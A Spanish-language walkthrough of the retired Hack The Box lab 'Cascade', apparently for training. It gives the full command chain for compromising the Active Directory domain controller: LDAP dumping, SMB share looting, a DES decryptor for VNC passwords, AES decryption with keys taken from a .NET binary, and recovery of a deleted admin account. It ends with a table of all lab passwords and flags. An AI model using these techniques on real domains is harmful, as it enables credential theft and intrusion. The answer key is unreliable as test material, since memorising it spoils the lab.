En esta guía
Nota sobre BloodHound: usa bloodhound-ce-python con BloodHound CE y registra ambas versiones. bloodhound-python corresponde al recolector legacy y requiere su analizador compatible. Si el ZIP no carga, revisa formato y errores de importación antes de atribuir la causa. La URL y las credenciales de CE proceden del bootstrap/configuración de tu despliegue, como se explica en Forest. Cascade se resuelve por LDAP y shares; BloodHound es opcional aquí.
Resumen del recorrido (contiene spoilers)
DC sin web
legacyPwd → r.thompson
share → 3 archivos
descifrar → s.smith
.NET + AES → arksvc
TempAdmin → root
Entorno y versiones documentadas
- Kali Linux y VirtualBox: versiones no especificadas en la guía original.
- Análisis: BloodHound CE; versión exacta no indicada.
Las versiones indicadas provienen del texto original. La fecha de edición identifica la revisión de esta página; no implica que se haya repetido el laboratorio.
01 · RECONOCIMIENTO
Ver solución paso a paso
nmap -p- --min-rate 1000 -oA nmap/allports 10.129.62.222
nmap -sCV -p 53,88,135,139,389,445,636,3268,3269,5985 -oA nmap/detail 10.129.62.222ttl=127 sugiere Windows (a confirmar). Huella de Domain Controller (Kerberos 88, LDAP 389/636, SMB 445, WinRM 5985), Windows Server 2008 R2 (un DC viejo). Dominio cascade.local, host CASC-DC1. A diferencia de Sauna, no hay puerto 80: sin web, la lista de usuarios saldrá de LDAP o SMB.
sudo sh -c 'echo "10.129.62.222 cascade.local CASC-DC1.cascade.local CASC-DC1" >> /etc/hosts'GetNPUsers u otra herramienta Kerberos falla con Name or service not known (CASCADE.LOCAL:88), no es que el ataque falle: es que falta el /etc/hosts. Kerberos habla por nombre, no por IP. Configúralo justo después de sacar el dominio.02 · ENUMERACIÓN LDAP
Ver solución paso a paso
Usuarios (SMB) y AS-REP (falla)
netexec smb 10.129.62.222 -u '' -p '' --users # SÍ da 15 usuarios (a diferencia de Sauna)
# guarda esos 15 usuarios, uno por línea, en users.txt del directorio actual
netexec smb 10.129.62.222 -u '' -p '' --users | awk 'NR>4{print $5}' | sort -u > users.txt
impacket-GetNPUsers cascade.local/ -no-pass -usersfile users.txt # ningún usuario roasteableMedium no regala la entrada: el AS-REP Roasting de Forest/Sauna aquí no da nada. Hay que escarbar más.
▚ Atributos de LDAP: donde se esconden secretos
Cada usuario de AD es un objeto con decenas de atributos (campos). Los administradores a veces dejan información sensible en campos poco visibles, incluso personalizados. Volcar todo LDAP y buscar en él es una técnica central de AD.
Volcar y buscar
ldapsearch -x -H ldap://10.129.62.222 -b "DC=cascade,DC=local" > ldap_dump.txt
grep -i "pwd\|pass\|legacy" ldap_dump.txtEn el objeto de Ryan Thompson aparece un atributo no estándar:
# Ryan Thompson, Users, UK, cascade.local
userPrincipalName: r.thompson@cascade.local
cascadeLegacyPwd: clk0bjVldmE=clk0bjVldmE= (con = al final) es Base64: no se crackea, se decodifica, y es instantáneo. Distinto de un hash. Reconocer el patrón ahorra tiempo.echo 'clk0bjVldmE=' | base64 -d # -> rY4n5evaCredenciales: r.thompson / rY4n5eva.
03 · SHARE DATA
Ver solución paso a paso
r.thompson no tiene WinRM (es un peldaño intermedio), pero sí lee un share no estándar llamado Data:
netexec smb 10.129.62.222 -u r.thompson -p rY4n5eva --shares # Data: READ
smbclient //10.129.62.222/Data -U 'cascade.local/r.thompson%rY4n5eva'
smb: \> recurse ON
smb: \> prompt OFF
smb: \> lsDentro, en \IT\, tres archivos son la clave. Descárgalos con get (van entre comillas por los espacios):
Desplaza la tabla horizontalmente. Con teclado, enfócala y usa las flechas ← →.
| Archivo | Qué revela |
|---|---|
Meeting_Notes_June_2018.html | Existió una cuenta TempAdmin cuya contraseña es la misma que la del Administrator del dominio. Se borraría a fin de 2018. |
ArkAdRecycleBin.log | El usuario arksvc corre un gestor de papelera de AD, y TempAdmin fue movido a la papelera (Deleted Objects). |
VNC Install.reg | En la carpeta de s.smith: la contraseña de VNC de s.smith, cifrada. |
recurse ON, smbclient guarda los archivos con las \ de Windows dentro del nombre. Para leerlos en Linux, envuelve el nombre completo en comillas simples: cat './IT\Temp\s.smith\VNC Install.reg'.04 · DESCIFRAR VNC → s.smith
Ver solución paso a paso
▚ La contraseña de VNC
El VNC Install.reg tiene "Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f. Este formato legado guarda la contraseña con una clave DES fija y conocida, por lo que el valor del archivo se puede descifrar. No es una descripción universal de todos los productos o mecanismos de autenticación VNC.
echo -n '6bcf2a4b6e5aca0f' | xxd -r -p > vnc.bin
python3 -c "from Crypto.Cipher import DES
d=open('vnc.bin','rb').read()
k=b'\xe8\x4a\xd6\x60\xc4\x72\x1a\xe0'
print(DES.new(k,DES.MODE_ECB).decrypt(d))" # -> sT333ve2Esa clave DES (e84ad660c4721ae0) corresponde al formato legado usado por el archivo de este laboratorio. Contraseña de s.smith / sT333ve2.
Foothold y user flag
s.smith SÍ tiene WinRM (está en Remote Management Users):
netexec winrm 10.129.62.222 -u s.smith -p sT333ve2 # (Pwn3d!)
evil-winrm -i 10.129.62.222 -u s.smith -p sT333ve2
type C:\Users\s.smith\Desktop\user.txt # user flagscriptPath de su cuenta. Se ve con Get-ADUser s.smith -Properties scriptPath (aquí: MapAuditDrive.vbs), no con el .bat que haya por el share.05 · AUDIT$ + REVERSING → arksvc
Ver solución paso a paso
s.smith pertenece al grupo Audit Share, que le abre un share que r.thompson no veía. Dentro está el paquete del "Ark Audit":
smbclient '//10.129.62.222/Audit$' -U 'cascade.local/s.smith%sT333ve2'
# CascAudit.exe (.NET) · CascCrypto.dll · DB\Audit.db (SQLite) · RunAudit.batLa base de datos
sqlite3 Audit.db
sqlite> .tables # DeletedUserAudit Ldap Misc
sqlite> SELECT * FROM Ldap;
# ArkSvc | BQO5l5Kj9MdErXx6Q6AGOw== | cascade.localBQO5l5Kj9MdErXx6Q6AGOw== parece Base64 por el =, pero está cifrado con AES y luego codificado. Decodificarlo con base64 -d solo da bytes basura: hay que descifrarlo con la clave correcta.▚ Reversing de un binario .NET
La clave AES y el IV están incrustados en CascAudit.exe / CascCrypto.dll. Los binarios .NET se descompilan para leer su código casi original. La herramienta ideal es dnSpy (o ILSpy) en Windows, que muestra la llamada a DecryptString(pwd, "clave") y el DefaultIV. En Kali los descompiladores (ilspycmd, monodis) pueden fallar: ten dnSpy a mano.
Del binario se obtiene: clave c4scadek3y654321, IV 1tdyjCbY1Ix49842, modo AES-CBC. Con eso se descifra:
python3 -c "from Crypto.Cipher import AES; import base64; \
e=base64.b64decode('BQO5l5Kj9MdErXx6Q6AGOw=='); \
print(AES.new(b'c4scadek3y654321',AES.MODE_CBC,b'1tdyjCbY1Ix49842').decrypt(e))"
# -> b'w3lc0meFr31nd\x03\x03\x03' (el \x03 es padding PKCS7)Contraseña de arksvc / w3lc0meFr31nd. Lección: hardcodear claves en binarios es reversible.
06 · AD RECYCLE BIN → ROOT
Ver solución paso a paso
▚ La papelera de reciclaje de Active Directory
Con Active Directory Recycle Bin habilitada, los objetos eliminados conservan atributos durante su estado recuperable. Consultarlos requiere permisos sobre los objetos y el contenedor correspondiente. En Cascade, el grupo personalizado AD Recycle Bin tiene esa delegación y arksvc pertenece a él; no es un grupo incorporado que otorgue ese acceso de forma universal. Lo que se recupera aquí es cascadeLegacyPwd, un atributo legado personalizado con un secreto en Base64, no la contraseña nativa de AD convertida en texto legible. El email del laboratorio indica que TempAdmin reutilizaba la contraseña de Administrator.
Recuperar TempAdmin
evil-winrm -i 10.129.62.222 -u arksvc -p w3lc0meFr31nd
PS> Get-ADObject -filter 'isDeleted -eq $true -and Name -like "*TempAdmin*"' -includeDeletedObjects -Properties *
# cascadeLegacyPwd: YmFDVDNyMWFOMDBkbGVzEl atributo personalizado cascadeLegacyPwd conserva el secreto legado en Base64. En este laboratorio, la reutilización indicada en el email permite validar el valor decodificado como contraseña de Administrator:
echo 'YmFDVDNyMWFOMDBkbGVz' | base64 -d # -> baCT3r1aN00dlesAcceso como Administrator
evil-winrm -i 10.129.62.222 -u Administrator -p 'baCT3r1aN00dles'
type C:\Users\Administrator\Desktop\root.txt # root flagAcceso como Administrator documentado. La reutilización de la contraseña permite autenticar con esa identidad; no demuestra una membresía nueva en Domain Admins.
TASKS · GUIDED MODE
Mostrar respuestas del laboratorio
Desplaza la tabla horizontalmente. Con teclado, enfócala y usa las flechas ← →.
| Task | Respuesta |
|---|---|
| Username de Ryan Thompson | r.thompson |
| Contraseña de r.thompson | rY4n5eva |
| Share no estándar al que accede r.thompson | Data |
| Cuenta temporal a borrar a fin de 2018 | TempAdmin |
| Contraseña de s.smith | sT333ve2 |
| Script que corre al iniciar sesión s.smith | MapAuditDrive.vbs |
| Base de datos SQLite en el share | Audit.db |
| Ejecutable .NET con credenciales cifradas | CascAudit.exe |
| Contraseña de arksvc | w3lc0meFr31nd |
| Grupo personalizado del laboratorio del que arksvc es miembro | AD Recycle Bin |
| Contraseña de la cuenta administrator | baCT3r1aN00dles |
| User flag (escritorio de s.smith) | 2290720c26e43893eca418ff87d029e5 |
| Root flag (escritorio de Administrator) | f0b11c370bfe635793f2df9e43304f72 |
EL SALTO A MEDIUM
GENERAL principio transferible a otras máquinas. LAB heurística o convención de laboratorio (HTB), no una regla universal.
- GENERALEnumeración LDAP profunda: revisar los atributos accesibles puede revelar información sensible. La lectura anónima y
cascadeLegacyPwdson condiciones de Cascade, no garantías de AD. - GENERALBase64 ≠ cifrado: el
=al final delata Base64; se decodifica (instantáneo), no se crackea. - GENERALShare hunting:
--shares+smbclient recurse ONpara peinar carpetas en busca de configs, emails y logs. - LABDescifrado de VNC: el formato legado del archivo de este laboratorio usa una clave DES fija y conocida; no describe todos los mecanismos de credenciales de VNC.
- GENERALReversing .NET: claves AES/IV hardcodeadas en un binario se leen con dnSpy/ILSpy y permiten descifrar secretos.
- GENERALSQLite:
sqlite3para leer bases de datos de aplicaciones que dejan credenciales. - LABAD Recycle Bin en Cascade: una delegación al grupo personalizado permite consultar
cascadeLegacyPwdde TempAdmin. El principio general es proteger también los atributos sensibles de objetos eliminados; ese acceso y ese secreto concreto dependen del laboratorio. - GENERALEncadenar credenciales: cada usuario desbloquea al siguiente (r.thompson → s.smith → arksvc → Administrator).
- LAB
/etc/hostspara resolver nombres:Name or service not knownen Kerberos = falta el mapeo del dominio (habitual en labs), no un ataque fallido. - GENERALBloodHound CE vs legacy: empareja analizador y recolector; para CE usa
bloodhound-ce-python. Un error de importación requiere revisar el formato y el registro, no asumir una sola causa.